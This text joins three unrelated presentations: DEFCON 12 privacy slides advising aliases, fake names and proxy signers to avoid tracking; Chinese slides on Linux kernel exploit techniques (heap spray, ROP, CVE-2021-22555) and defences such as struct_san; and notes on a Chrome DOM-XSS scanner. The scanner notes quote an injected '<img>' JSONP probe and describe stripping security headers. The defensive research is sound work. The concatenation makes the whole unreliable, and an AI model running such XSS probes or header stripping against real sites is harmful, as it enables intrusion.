Renting wheels
• Credit card or bust. Company policies for cash rental
often require broad reaching information from renter
including utility bills and current pay stubs. Credit
cards give the rental company less information but
still…
• Pay cash at the end of rental, won’t show on credit
card bill. Or will it? Ask ahead of time if they pre-bill,
some do, issuing a credit if paying by cash at the
conclusion of the rental.
• Now companies are tracking and recording with
“telematics” (GPS); it’s in the fine print.
Real World Privacy
DEFCON 12
July 30, 2004
A place to live
Utilities & service on the residence
• Place in someone else’s name or LLC
• Rent a room, not an apartment.
• Put down cash deposit instead of credit check
• Use a proxy or roommate as signer
• Mortgage, rent, homeowners/building fee,
phones, gas, water, sewage, trash, cable,
satellite, lawn service, milk delivery, ISP
• Do you need all these services? Can you
share some with a neighbors (trash, ISP)?
Real World Privacy
DEFCON 12
July 30, 2004
A place to live
Roommates
• How well do you know your roommates?
Thought about a background check on them
and would that help?
• Do you trust all their friends that come over?
• Physically lock up papers
• Passwords on your computer
• Tamper evident computer case
• Theft of belongings would be less painful
compared to theft of bank accounts and ID.
Real World Privacy
DEFCON 12
July 30, 2004
Threat
• Police check utility records to see where
you live without a warrant.
• Private eyes routinely use utility records
to track down where people live.
• Property records are public records.
Real World Privacy
DEFCON 12
July 30, 2004
Threat
• Delivery companies keep databases of
who is where
.
• Easy for insider to lookup where you
live, or who lives at a specific address.
Real World Privacy
DEFCON 12
July 30, 2004
A place to live
Neighbors
• Never piss off your neighbors
• Neighbors reporting you to LEO or other…
• They may be friendly, do you really need to
tell them about your life? Are they the
neighborhood gossips?
• Neighborhood directories
– Avoid, or give out min info (use initials, mis-
spellings of names)
– Do you think your neighbors shred these?
Real World Privacy
DEFCON 12
July 30, 2004
Threat
If something happens in your
neighborhood, your neighbors may point
the finger at you. Murder, rape, robbery.
“They were always strange” or “There
was something odd about them.” Watch
for the sound bytes in the media next time
something happens. Do you want this
used against you?
Real World Privacy
DEFCON 12
July 30, 2004
A place to live
The repairman
• Get a friend to help out vs. hiring a “pro”?
• Never leave a repairman alone in your
residence, and escort at all times
• Keep all papers, goodies & whiteboards out
of site or under wraps.
• Keep anything that may be suspicious out of
sight. Got a lot of computers? Maps? Radios?
Weapons, real or just real-looking?
Real World Privacy
DEFCON 12
July 30, 2004
Threat
• Repairmen case homes for theft
• Repairmen steal
• Repairmen report you to the feds for
being suspicious, or for being obnoxious
Real World Privacy
DEFCON 12
July 30, 2004
Trash
Shred it all with a confetti (crosscut) shredder
• What does your trash tell about you?
• Shredding the bills, statements, envelopes &
address labels
• Destroying prescription bottles
• Trash alternatives – work? Bus station? Local
dumpster? Think shared resource.
• What goes in the recycling bin?
http://www.nytimes.com/2003/12/21/magazine/21IDENTITY.html
Real World Privacy
DEFCON 12
July 30, 2004
Retail Shopping
• Paying cash may require pre-planning. Never give
out your name or other identifying information.
• If there is a line for a haircut or at a restaurant, use a
fun name instead
– Just remember which name you used
• Don’t use discount cards or other information that can
track patterns. If you must have one, discard after a
few months, get a new card.
• Renting a movie? Go with cash, fake name. Have
someone else rent it. Purchase movie instead of
renting. Think of Judge Robert Bork and his movie
rental history [Now a law on this “The Video Privacy
Protection Act of 1988” (18 U.S.C. section 2710)]
Real World Privacy
DEFCON 12
July 30, 2004
Communication
Phones
• Setup with cash deposit, no credit check
• Unlisted, unpublished and reverse directory
• Caller ID, caller ID blocking. No call list? No.
• Toll free numbers
• Calling cards as means to prevent tracking
• Is the account web accessible?
• Call record history
• Get a pager or VMB for inbound calls
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Landlines
• Direct link between account name and physical
address
• ISDN as outbound option. Setting Caller Line
Identification (CLI).
• Avoid, go right to wireless
• For god sakes, don’t use a cordless!
• Opt out of Customer Proprietary Networking
Information (CPNI) sharing which includes phone
numbers customers call and the time which calls
where made
– http://www.denverpost.com/Stories/0,1413,36~33~1783549,00.html
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Wireless
• Location tracking
• Newer phones and GPS
• Inbound call logging
• Records not on phone bill
– On & Off location
– Roaming
• Calling cards as means to prevent logging
your local carrier from keeping call history.
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Inbound parcel & post
• Avoid using real address. Never use real
address with real name for anything.
• PO Box is OK, however USPS rules require
showing a driver’s license, passport is OK as
secondary identification. Seems persons at
post office have sold real addresses…
• Commercial Mail Receiving Agency (CMRA),
still need ID to open box.
• Mailing to the workplace (package from Good
Vibrations isn’t best to send to the office…)
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Inbound parcel & post
• Proxy; can someone else be setup to receive your
mail? Accountant, lawyer, relative, friend? Do you
trust them?
• Can someone else setup a PO Box or MBE box for
you? Understand legality of this.
• Consider a residential address that will take mail for
you (mail in rebates, driver’s license).
• Package mailed to local hotel concierge
• Do you need a functional mailbox at your residence?
Will that raise eyebrows?
• Never fill out a permanent change of address form.
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Mail & FedEx
• Sending
– Take to post office, don’t leave in outgoing
mailbox (theft). Avoid post office with video
cameras recording the mail drop box.
– Leave off the return address
– Pay cash, even at FedEx (exact change
will do the trick)
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Mail – other issues
• Opt out! Avoid the list in the first place
–
DMA Mail Preference Service, P.O. Box 9008, Farmington, NY 11735-9008
–
www.the-dma.org/consumers/offmailinglist.html
• Use an alias or two or three…
• Change the spelling of your name if you have a
lame mail delivery person that rejects aliases
– I.P. Freely, Ivann Peter Freely, Ivan Freely
– Jon, John, Johne, Jonn, Johnn
• Magazine & newspaper subscriptions – never
in your name.
– Newsstand. Less convenience, more cost, more
privacy.
Real World Privacy
DEFCON 12
July 30, 2004
Communications
Computer based
• Make data logging trail one sided and stay
dynamic (e-mail, IP addresses)
• Shred, overwrite, delete
• Ensure backups don’t copy off data
• Ensure data destroyed on backups too!
• Encrypt e-mail. Yes, it takes time.
• Chat? Go encrypted with Trillian or IRC.
• Use lots of e-mail addresses, or at least
aliases for inbound e-mail.
Real World Privacy
DEFCON 12
July 30, 2004
Education
K-12
• Consider home schooling as an option. Or private
schools offer another choice.
• K-12 is hardest to deal with, to enroll in school district,
an actual address must be presented. Does school
need information about where parents work, multiple
contact numbers? Need to weigh tradeoff when child
gets sick in school. What’s practical? What’s required?
• Minimize information given to school. Getting your
children to understand this is tough.
• Insist, in writing, school not disclose personal
information, especially true for high school students
(schools giving information to colleges).
• Watch out with handing information out for SAT/ACT.
Real World Privacy
DEFCON 12
July 30, 2004
Education
College and beyond
• Need based scholarships, worth the “cost”?
• Living on campus has its pros (easier judicial
system) and cons (loss of privacy per
contract).
• Roommates you don’t know.
• Using school systems for Internet access.
• Information theft even after leaving school; all
your information is out there, and it’s still
getting stolen. What is the colleges privacy
policy; is there a track record of break-ins?
Real World Privacy
DEFCON 12
July 30, 2004
Surveillance
Who is watching
• Shoulder surfing? What are you doing?
• Listening in? What are you saying?
• 9,000 surveillance cameras on Manhattan
Wired, 12/03 pg 62
• Embedded cameras everywhere, so what
about the gym locker room?
• Face-recognition: Olympics, Super Bowl,
Casinos
• Van Eck emissions
Real World Privacy
DEFCON 12
July 30, 2004
Stuff Happens
• A visit to the doctor
• A visit with law enforcement
• Life Events
– Birth, Marriage, Divorce, Death
Real World Privacy
DEFCON 12
July 30, 2004
A visit to the doctor
or who has access to your medical data?
• Administrative staff (back office nearly always
contracted out, sometimes to a far land)
• Insurance company (sign release, see doctor)
• Drug companies news.go.com July 23, 2002
• Researchers news.go.com July 23, 2002
• Government
• Your employer
• Law enforcement? news.go.com July 23, 2002
Real World Privacy
DEFCON 12
July 30, 2004
A visit to the doctor
How to limit information sharing
• For anything sensitive, go to a free clinic or a people’s
clinic out of your local area. Use a different name, pay
cash. Don’t give consent to share, not needed.
• Local health fairs for screening. Don’t visit the location
down the street from where you live or work as you
may see someone you know.
• Pay cash for treatment and prescriptions (why should
your bank/credit card issuer know you’ve been seeing
a someone at “The Baldness Clinic”)?
• Go to a non-chain doctor & pharmacy in a non-
NASPER state (National All Schedule Prescriptions
Electronic Reporting Act).
Real World Privacy
DEFCON 12
July 30, 2004
Life Events
• Births, divorces and deaths are announced in newspaper
and are a matter of public record.
• Careful what is said in obituary. Usually too much
information about family and physical whereabouts.
• Get married out of the area, don’t put announcement in
the paper (sorry, mom).
• Hospitals sell records to all sorts of places, talk to them
before being admitted.
• HIPPA may change things, wait and see.
Real World Privacy
DEFCON 12
July 30, 2004
A visit with law enforcement
or how to not be private anymore
• You are screwed
• Avoid at all costs
• If arrested, local lawyers may get e-mail
about your case and will contact you
http://www.lexisone.com/balancing/articles/ap040004f.html
• Police are using digital video dashboard
cameras, keeping each days video for 90
days regardless of any crime or ticket.
http://www.wired.com/news/technology/0,1282,64105,00.html
Real World Privacy
DEFCON 12
July 30, 2004
Fun facts and figures
•
Experian has demographic data on 215 million consumers and
110 million households across the country
–
http://www.experian.com/small_business
•
“The U.S. Treasury Department Plans to publish nearly 10,000
e-mail addressees on the Web, violating its privacy promise to
Americans who used e-mail to comment on a government
proceeding.”
–
http://news.com.com/2102-1028_3-5137488.html?tag=st.util.print
•
“More than three million people in the United States were
victims of identity-theft-related fraud in the past year, according
to a recent survey by the Federal Trade Commission.”
–
http://www.technologyreview.com/articles/garfinkel1203.asp?p=1
•
In Britain, the Television Licensing Authority can get a warrant,
always granted by the court, to break in and search a residence.
– http://www.marmalade.net/lime/appleyard.html
Real World Privacy
DEFCON 12
July 30, 2004
Getting worried yet?
•
LexisNexis Anti-Money Laundering Solutions
– http://www.lexisnexis.com/antimoneylaundering/
•
“Question about flight simulator brings visit from police”
– http://forum.defcon.org/showthread.php?t=3080
•
“Careful: The FB-Eye may be watching” – Reading the wrong
thing in public can get you in trouble
– http://atlanta.creativeloafing.com/2003-07-17/rant.html
•
“Employee computer crime on the rise” – always worry about
insiders
–
http://www.atarimagazines.com/creative/v11n6/6_Employee_computer_crime_o.php
•
“States new technology gathers information to find tax cheats.
By linking to databases, individuals can be profiled”
–
http://yro.slashdot.org/yro/04/02/17/1729251.shtml
Real World Privacy
DEFCON 12
July 30, 2004
Getting worried yet?
•
“Colleges leaking confidential data, Students compromised by
Internet intrusions” by Tanya Schevitz, April 5, 2004
–
http://sfgate.com/cgi-bin/article.cgi?file=/c/a/2004/04/05/MNGGP60LNV1.DTL
•
“Privacy pressure, airlines and hotels face customer concerns
arising from anti-terrorism efforts” by Tony Kontzer, March 22, 2004
–
http://www.informationweek.com/showArticle.jhtml?articleID=18401079
•
“Online fraud, I.D. theft soars” by Kevin Poulsen, January 23, 2004
http://www.securityfocus.com/news/7897
•
“On the Move: Keeping tabs on drivers of rental cars” by
Christopher Elliott January 19, 2004
http://www.iht.com/articles/125614.html
•
“Government awards Tripp almost $600K” [for leaking information
from her government background investigation]
http://www.cnn.com/2003/LAW/11/03/linda.tripp/index.html
Real World Privacy
DEFCON 12
July 30, 2004
Still not worried?
“Managers of Cherry Creek Shopping Center often traverse its
parking lots to jot down license plate numbers. Using a third-party
vendor hired by the mall’s corporate office, they match the plate
numbers with databases to identify the ZIP codes – and likely
demographics – of their shoppers in aggregate. Individuals weren’t
identified”.
http://www.denverpost.com/Stories/0,1413,36%257E33%257E2208233,00.html?search=filter
Real World Privacy
DEFCON 12
July 30, 2004
The bright side
•
“Florida’s public record law provides for situations where
revealing personal information could endanger an individual”
http://www.heraldtribune.com/apps/pbcs.dll/article?AID=2003402080446
•
It still can be done, well to a point: “…and to avoid being found,
they did not use their cell phones or credit cards” in “Missing
students found at Disney World” August 11, 2003
http://www.cnn.com/2003/US/08/09/missing.students.found/index.html
•
There are other people who care (like a privacy support group).
Go to the reader questions: http://www.howtobeinvisible.com
•
“In Canada, privacy seen as good business” (May 24, 2004)
http://www.e-commercealert.com/article630.html
Real World Privacy
DEFCON 12
July 30, 2004
Resources
•
How to be Invisible by J.J. Luna. St. Martins Press 2000. Revised
edition published March 2004.
•
Electronic Frontier Foundation http://www.eff.org
•
SANS Privacy Bites: http://www.sans.org/newsletters/privacybits/
•
Big 3 Credit companies: Equifax http://www.equifax.com, Experian
http://www.experian.com TransUnion http://www.transunion.com
•
-> There is a 4th: Innovis http://www.innovis.com
•
More on opting out: http://www.junkbusters.com
•
“How to disappear”,
http://www.wired.com/wired/archive/10.07/start.html?pg=14
•
“Living without an SSN” by Lucky225. 2600 Magazine Winter 2003-
2004 pg 16
•
The Art of the Steal by Frank Abagnale (Broadway Books, 2001).
Real World Privacy
DEFCON 12
July 30, 2004
Resources
•
Unique ID, The Numbers that control your life
http://www.highprogrammer.com/alan/numbers
•
Bypass compulsory web registration, generates userids/passwds
http://bugmenot.com
•
The SWIPE Toolkit, collection of tools showing personal info
collection in US http://www.turbulence.org/Works/swipe/main.html
•
Sharing Your Personal Information: It’s Your Choice
http://www.ftc.gov/privacy/protect.htm
•
End Stalking in America, Inc http://esia.net
Real World Privacy
DEFCON 12
July 30, 2004
Deeper reading
•
“Privacy and Deviance.” A paper by HP research on how and why
people decide to move their information from private to public
sphere. http://www.hpl.hp.com/research/idl/papers/deviance/
•
“Privacy, Economics, and Price Discrimination on the Internet” by
Andrew Odlyzko
http://www.dtc.umn.edu/~odlyzko/doc/networks.html
•
“Homeland Security – Airline Passenger Risk Assessment -
Torch Concepts” JetBlue Data Presentation to TSA
http://www.aclu.org/Privacy/Privacy.cfm?ID=13686&c=40
•
“Federal Trade Commission – Identity Theft Survey Report”
September 2003 http://www.ftc.gov/os/2003/09/synovatereport.pdf
•
“Bank Secrecy Act/Anti-Money Laundering Comptroller’s
Handbook” September 2002
http://www.occ.treas.gov/handbook/compliance.htm
Real World Privacy
DEFCON 12
July 30, 2004
Thoughts on the future
•
RFID – tracking the person, tracking the belongings.
•
MATRIX, Patriot Act II, Intelligence Authorization Act for
fiscal 2004 (see section 374 of the act), “The Bastard
Children of Total Information Awareness”1
•
Genetic Testing
•
Biometrics
•
Data becoming omnipresent with outsourcing
•
More information collected, and that information will live
forever: “there are no plans to destroy this data in the
foreseeable future”2
1http://www.wired.com/wired/archive/12.02/start.html?pg=4
2http://www.guardian.co.uk/print/0,3858,4286375-103572,00.html
Real World Privacy
DEFCON 12
July 30, 2004
Closing thoughts
“The fundamental human right of privacy in Canada is
under assault as never before. Unless the government of
Canada is quickly dissuaded from its present course by
Parliamentary action and public insistence, we are on a
path that may well lead to the permanent loss not only of
privacy rights that we take for granted but also of important
elements of freedom as we now know it.”
George Radwanski, Privacy Commissioner of Canada.
“Annual Report to Parliament” January 2003
http://www.privcom.gc.ca/information/ar/02_04_10_e.asp | pdf |
l i n u x 内 核 漏 洞 检 测 与 防 御
蒋浩天/张海全 腾讯安全云鼎实验室
自我介绍
蒋浩天:
擅长二进制安全、虚拟化安全、游戏安全等,喜欢研究一些底层方向,将安全能力下沉,开启安
全对抗的上帝模式。
张海全:
主要从事GCC和Linux内核安全功能研发,Linux内核源码贡献者。 主要方向是漏洞挖掘,CFI防
御,编译器sanitizer。致力于将漏洞扼杀在编译器中。
l 漏洞攻防现状
l 漏洞利用技术
l 传统漏洞防御技巧
l 基于intel pt的漏洞检测方案
l 基于编译器的漏洞防御方案
l 后续展望
大纲
漏洞攻防现状
主机漏洞防御价值
•
系统漏洞可通杀,是云主机最主
要威胁。
•
挖矿/勒索等入侵的必争之地,有
爆发态势。
•
内核处在纵深体系中间,漏洞多
于固件/虚拟化,影响大于基础软
件/用户应用,收益大。
•
建设最后一道防线,是第一优先。
内核漏洞利用:现状
•
内核漏洞攻防现状:
•
内核版本碎片化和支持断供,关键系
统难更新。
•
利益驱动的漏洞研究暗流涌动。
•
现有防御选项。
•
开源方案关注事后阻断,即时阻断弱,
已有对抗。
响应难
即时
碎片化
严重
攻击面
庞杂
挖洞降
门槛
攻防升
级
•
VED,PaloAlto XDR
• 事中阻断,信息少
• LKRG
• 事后阻断
• PaX&GrSecurity
• 重:开销,价值,运营
• 内核隔离,随机化
• 可绕过
底层
特性
原生
加固
商业
方案
开源
机制
漏洞利用技术
常用的漏洞利用手法
•
返回地址劫持
•
堆喷
•
she链覆盖
•
栈交换
•
ROP
•
Ret2user
•
等等等
堆喷
•
内核堆喷,是当前内核漏洞利
用过程中非常重要的部分。80%
的漏洞利用,都依赖堆喷。
•
堆喷利用手法。
•
use after free/double free
类型堆喷利用手法。
•
堆溢出类型堆喷利用手法。
传统漏洞防御技巧
堆喷干扰
•
通过hook接管linux内核slab,
slub,对申请的内存尾部追加少
量随机字节,并增加随机延迟释
放,可以有效的干扰堆喷,导致
其失败。从而做到机制性的防御,
具备更强的通用性。
堆喷干扰
•
在漏洞利用过程中,只要是
利用堆喷的,都可以对其进行干
扰,导致堆喷失败。
ROP防御
•
ROP在现代漏洞利用中,基本是必不可缺的一个环节。基本走到这一步,说明漏洞利用已经成功了
一大半了,已经进行了控制流的劫持。漏洞通过rop来调用敏感api,来完成权限提升,容器逃逸。
•
对提权,容器逃逸相关的敏感api进行HOOK。
•
检测栈指针的合法性。
•
调用来源的合法性。
•
调用指令合法性。
信息泄露缓解
•
全局变量地址泄漏。
•
干扰堆喷。
•
dmesg 异常栈指针泄漏。
•
符号地址鉴权脱敏。
•
kallsyms泄漏。
•
符号地址鉴权脱敏。
安全状态监控
•
对系统中所有的进程进行监控,监控进程的cred和namespace,及时发现进程的异常权限提升和容
器逃逸行为。
•
CR4 SMEP & SMAP状态监测,及时发现漏洞利用过程中,对SMEP & SMAP的禁用。
•
传统的内核加固方式很多,不一一列举。
基于intel PT的漏洞检测方案
基于硬件特性的漏洞检测方案
•
随着时代的发展,CPU 支持的硬件特性越来越多,安全相关的大家听的最多的就是影子栈,并且在
一些场景下已经得到应用。
•
基于软件的漏洞防御,CFI/CFG,在 Windows 中,已经得到广泛应用。
•
CET IBT(indirect branch tracker)机制,基于硬件的简化版本CFI,但是很多CPU并不支持。
•
其实Linux kernel 目前对这些安全机制都不支持。
•
我们想对老版本系统进行改造,实现这三个特性,并且无需重新编译内核。
可行性分析
•
想要实现这些特性,我们需要具备一些前置条件:
•
Shadow stack :
•
获取指令流,从中提取出 call 和 ret 两种指令。
•
模拟一个栈,去模拟 call 和 ret 的入栈出栈操作,识别入栈和出栈不对等的情况。
•
IBT/CFI:
•
捕获所有的跳转指令,获取指令跳转信息。
•
分析跳转指令的合法性。
•
如何提取指令序列?
•
如何确定跳转指令的合法性?
技术选型
•
在x86 intel 架构上,想要获取程序的 call ,ret 和间接跳转的指令,在不修改源码的情况下有几种
方式:
•
LBR (Last branch record),将跳转分支信息保存到MSR寄存器中,记录数量有限。可以通过技
巧做到实时拦截。
•
BTS (Branch Trace Messages),可以将跳转分支记录到内存中,保存数量多。性能低,可以通
过技巧做到实时拦截。
•
PT (Processor Trace),属于BTS的进化版本,性能更好。但无法通过技巧进行实时拦截。
•
通过对三种机制的分析,最终选择采用PT技术。
技术选型
•
通过查阅资料,我们发现linux perf工具已经集成了intel PT的能力,用于做性能分析。
•
分为user模块和kernel模块:
•
Kernel模块负责完成intel PT的所有trace功能。
•
User模块负责保存PT trace数据,并解析。
•
Kernel 和user 采用ringbuff进行数据交互。
•
站在巨人的肩膀上,我们对perf进行改造。
堆喷干扰
•
支持trace 的指令类型。
•
支持用户态,内核态,和进
程过滤,地址范围过滤等。非常
匹配我们的需求。
•
Intel PT trace buff 分为两种类型:
•
Single Range Out.
•
Table of Physical Addresses(ToPA).
•
ToPA可以通过配置IA32_RTIT_OUTPUT_BASE来指定
ToPA Table的第一个表,如果存在多个表,可以在表的
最后一项指定下一个ToPA的地址,并将END标志位置
为1。
•
每一个ToPA表,可以指定多个OutputRegion,并且每
一个OutputRegion的大小可以不同,最小是4k最大是
128M。
Intel PT的工作机制
•
Intel PT 类似于生产者和消费者模型。
•
每当CPU执行指令时,如果符合filter的条件,那么将会向trace buff中写入压缩的数据。
•
当buff写满之后,将会产生PMI中断。
•
在中断中,先停止trace ,然后将buff的数据保存,并重新开启Intel PT trace。
•
但是在PMI中断中,直接将缓存的数据进行转存,会比较麻烦,所以大家的做法,普遍都是用一
个用户层的程序,去读取这个trace buff数据。由用户层程序完成这个持久化操作。
Intel PT的工作机制
•
在PMI中断中,处理Intel PT事件:
•
关闭PT trace。
•
更新状态。
•
通知用户态从ringbuff中读数据。
•
重新配置trace buff,指向下一个page entry。
•
启动PT trace。
Intel PT的工作机制
•
整体流程图:
1. 用户层发送请求给驱动,驱动层配置并启动intel PT。
2. 用户层去拉起目标程序执行,同时请求接收trace数
据,如果没有数据将阻塞。
3. 目标程序执行,遇到符合filter的指令,将会由CPU
生成压缩的数据包,保存到trace buff中。
4. Trace buff的数据满后,会产生PMI中断。
5. PMI handle中,先停止intel PT trace,获取trace
buff的数据,配置好ring buff,唤醒用户层阻塞的
线程。
6. 分为两步:
1. 用户层程序负责从ring buff中读取数据。
2. 驱动重新配置trace buff entry,防止覆盖未被用户层
即时读取的数据。并恢复intel PT trace。
Intel PT的工作机制
•
我们对数据进行解析,解包,按照intel的格式进行拆解,并过滤不关注的数据。
•
数据包格式如下:我们以TIP数据包为例,10110 为数据包类型标记。
Intel PT 数据包解析
• 我们以TIP数据包为例,0~4位10110 表示TIP数据包。
• 5~7位 IPBytes含义如下:例如说 IPBytes 为000时,数据包不带任何数据。IPBytes 为010时,后续
8字节的0~31位对应Payload的0~31位,32~63位对应Payload的32~63位。
Intel PT 数据包解析
• 并不是所有的跳转指令都记录,例如说 jmp $rip + 10,这种指令源地址和目标地址都是可以通过解
析二进制进行获取,所以就不会生成数据包。
• 带条件的直接跳转指令,只会记录条或者不跳,生成TNT bit。CPU会将多个TNT bit 压缩成一个数
据包。
• 注意:这里的绝大多数Payload并没有记录源IP,我们需要根据解析二进制文件,将每一个跳转信息
都和二进制进行一一对应,才能够计算源IP和目标IP。
Intel PT 数据包解析
•
我们完成数据包解析后,提取出感兴趣的跳转指令序列,例如说:
•
ret, ret *
•
jmp reg, jmp [reg], jmp [reg + *], ………
•
call reg, call [reg], call [reg + *], ………
•
到此,我们就完成了trace 指令收集的任务。
Intel PT 数据包解析
Shadow stack
•
我们目前已经拿到了所有的call 和ret 的指令序列,我们自己实现一个栈,来模拟call 的入栈操作,和ret
的出栈操作。
•
执行call指令后,会将call 指令的下一条指令的地址压入栈中,用于ret返回:
•
返回地址 = 指令地址+ 指令长度;
•
注意:
•
每一个线程分配一个单独的栈。
•
中断产生,线程切换等问题需要进行逐一处理。
•
调用栈原本就不对称,例如线程刚创建后,栈中已经有一部分数据,但是当前线程未产生call指令压
栈。
•
spectre_v2 漏洞, Retpoline修复方案不兼容!!
•
栈模拟,检测逻辑
Shadow stack
IBT+CFI
•
如何确定跳转指令的合法性?
•
直接调用。
•
肯定合法。
•
间接调用。
•
可能出现问题。
•
对于间接调用,对应的多数都是函数指针,callback,虚函数等,并且是漏洞喜欢篡改的地方。
•
如何确认间接跳转的合法性?
•
目标函数地址,是否是一个函数的起始位置,IBT机制。
•
通过源码得知指针是否可以指向目标函数,CFI机制。
•
如何确定是否是函数起始位置?
•
通过符号解析来实现。
•
通过源码得知函数指针是否可以指向目标函数,自动化如何实现?
•
编译器生成call graph。
IBT+CFI
•
传统的指针分析不能满足需求。
•
如何生成call graph?
•
获取到内核二进制文件的对应源码。
•
通过二次开发的GCC,对源码进行编译,在编译过程中,提取基础信息,并插入到数据库。
•
根据数据库进行关联查询。
•
后面章节详细讲解。
IBT+CFI
•
IBT:
IBT+CFI
•
CFI算法:
IBT+CFI
•
演示效果如下:
基于硬件特性的漏洞防御方案
•
演示效果如下:
基于硬件特性的漏洞防御方案
基于编译器的漏洞防御方案
张海全
基于编译器的漏洞防御方案
•
编译器生成call graph。
•
struct_san 漏洞防御。
call graph
•
直接函数调用,我们不关注。
•
间接函数调用的方式:
•
全局函数指针。
•
全局函数指针链表。
•
参数传递的函数指针。
•
结构体内的函数指针。
•
函数指针数组。
•
函数指针调用是程序分析的难点。
•
源码文件太多。
•
发现内核中的大量结构体的函数指针都是全局结构体定义,然后再使用这个结构体,定义如下:
call graph
•
通过这个规律,在编译器parser阶段,编译器在parse到全局结构体时。提取信息,并插入数据库,
按照如下格式:
•
结构体的类型 : 字段名称 : 函数名字 ;
call graph
•
在编译器parser阶段,编译器在parse到函数时,如果函数内出现间接调用,通过解析gimple,最终
生成如下格式数据,并插入数据库:
•
function : struct : field;
call graph
•
编译完成后进行数据整理,通过上面的两个表中的数据,我们可以得知:
•
ceph_init_file函数里存在一个file_operations->open的间接调用。
•
file_operations->open指针为rtc_open函数是合法的。
•
从而推导:ceph_init_file调用rtc_open是合法的。
call graph
•
通过函数参数传递过来的函数指针。
•
常数传播 + 别名分析。
•
通过向链表注册的callback函数,在加入全局符号表时,也可以进行数据原型的提取,思路如上,并
结合常数传播,即可生成调用关系数据。
• 整体来说我们的思想就是提取原子信息,插入到数据库。后续进行关联查询。
• 精准度和误报率进行衡量。
call graph
struct_san
•
为了防止堆喷,篡改结构体函数指针这种利用方式,我们提出了struct-sanitizer(struct_san)这种新
的控制流完整性检测机制。以最少的插装,最小的性能损耗为宗旨,更严格的校验来抵御漏洞攻击。
当前主流CFI
struct_san
验证方式
函数指针类型
函数指针类型+结构体实例
插装量级
全量插装
最小规模插装
•
例如说:
•
漏洞篡改结构体的ops指针进行流程劫持。
•
我们只需要在所有ops函数指针执行前插桩,从而检测函数指针的合法性。
struct_san
•
如何保证只在ops函数指针调用前进行插装?
•
新增一个GNU Attributes __attribute__ ((sanitize_struct)) 。
•
例如想要保护内核中pipe_buf_operations->release()函数。
•
在结构体类型声明时加入此关键字。
•
编译器会在所有调用pipe_buf_operations结构体函数指针的位置插入
__sanitizer_struct_guard__()。
•
struct_san会将此类型的所有结构体实例保存到.sanitize_struct段内。
•
遵循前面描述的规律,结构体的函数指针,都是定义在一个全局结构体变量里,编译期间,就能确定地址。
struct_san
插桩前后在gcc的gimple IR中的不同表示:
struct_san
•
struct_san目前只在内核中完成了相关实现。其算法是在内核中开辟一个128M大小shadow
memory用来保存结构体和结构指针的对应关系。
•
__sanitizer_struct_guard__()在调用时会检测传入的struct和函数指针是否在shadow memory中,
如果不在则抛出一个ud2异常,否则返回函数指针。实现方案如下:
•
•
这个算法参考了AddressSanitizer的实现,兼顾了效果和效率。
struct_san
以漏洞CVE-2021-22555的攻击代码
为例,在启用struct_san的情况下,
阻断了攻击代码的执行,起到了有效
的防御。
struct_san
•
我们对struct_san进行了开源,期望和业界一起探讨CFI技术的改进。后续我们也会推出一些其它的
漏洞缓解技术。
•
开源地址:https://github.com/YunDingLab/struct_sanitizer
struct_san
后续展望
•
相关特性部分已经移植到OpenCloudOS中。
•
希望广大安全人员共建。
引用参考文献
•
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
•
https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555
•
https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
•
https://github.com/OpenCloudOS/community
Q&A
•
[email protected]/[email protected]
Thanks for listening | pdf |
对⼀些基于chrome的dom-xss插件学习,有 dom-based-xss-finder 和 XssSniper ,看看它们的原理是什么。
mainfest.json
对于chrome来说,mainfest.json包含了整个插件各种配置,在配置⽂件中,可以找到插件⼀些启动的源代码。
⼏个⽐较重要的⼏个字段
browser_action
这个字段主要负责扩展图标点击后的弹出内容,⼀般为popup.html
content_scripts
matches 代表scripts插⼊的时机,默认为document_idle,代表⻚⾯空闲时
js 代表插⼊的scripts⽂件路径
run_at 定义了哪些⻚⾯需要插⼊scripts
permissions
这个字段定义了插件的权限,其中包括从浏览器tab、历史纪录、cookie、⻚⾯数据等多个维度的权限
定义
content_security_policy
这个字段定义了插件⻚⾯的CSP
但这个字段不影响content_scripts⾥的脚本
background
这个字段定义插件的后台⻚⾯,这个⻚⾯在默认设置下是在后台持续运⾏的,只随浏览器的开启和关闭
persistent 定义了后台⻚⾯对应的路径
page 定义了后台的html⻚⾯
scripts 当值为false时,background的⻚⾯不会在后台⼀直运⾏
XssSnpier
来⾃360 0kee的插件,下载地址:https://0kee.360.cn/domXss/
出来好早了,我试了下似乎插件有错误还运⾏不了,就直接看相关代码吧。
mainfest.json
{
"manifest_version":2,
"name": "XssSniper",
"version": "1.1.33",
"description": "Find XSS and SOME",
"content_scripts": [
{
"all_frames": true,
"matches": [
"http://*/*",
"https://*/*",
"file://*/*"
],
"js": ["js/insert.js"],
"run_at": "document_start"
}
],
"background": {
"scripts": [ "js/background.js" ],
"persistent":true
},
"permissions": [
"webRequest",
"webRequestBlocking",
"*://*/",
"tabs",
"notifications"
],
"browser_action": {
"default_icon": {
"19": "img/init_19.png",
"38": "img/init_38.png"
},
"default_popup": "popup.html",
"default_title": "Open the pannel."
},
"icons": {
"128": "img/logo_128.png",
"16": "img/error_16.png",
"48": "img/logo_48.png"
},
"incognito": "spanning",
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"
}
后台执⾏
background.js
去掉http返回头中的 x-frame-options 、 X-XSS-Protection
对于jsonp的内容,会⾃动检测xss,将参数 = 替换为payload
注⼊js
insert.js
先看下jsonp的检测
jsonp = jsonp.replace(/\=/ig,"=<img>tsst");
httpRequest(jsonp,function(s){
if (s.indexOf("<img>tsst") > -1) {
notify("Jsonp可能存在XSS",jsonp);
sendResponse("xss:"+jsonp);
}
})
MutationObserver 是什么api,查了⼀下,是⼀个监视函数,当dom有变动时候,会触发回调函数。
https://developer.mozilla.org/zh-CN/docs/Web/API/MutationObserver/MutationObserver
它会监视所有新创建的script标签,判断src的内容是否含有 ? 在做进⼀步判断,进⼀步判断是什么呢,就是正则匹
配内容是否像jsonp,提出报警,然后就是替换参数内容看是否存在xss。
监听事件错误
有的xss能够使⽤,但是需要⼀些特殊构造,⼀般的payload打⼊可能只会报错,这时候可以在整个⻚⾯加载前提
前注⼊好监视错误的js,xsssnpier的思想是这种报错可能也有帮助。
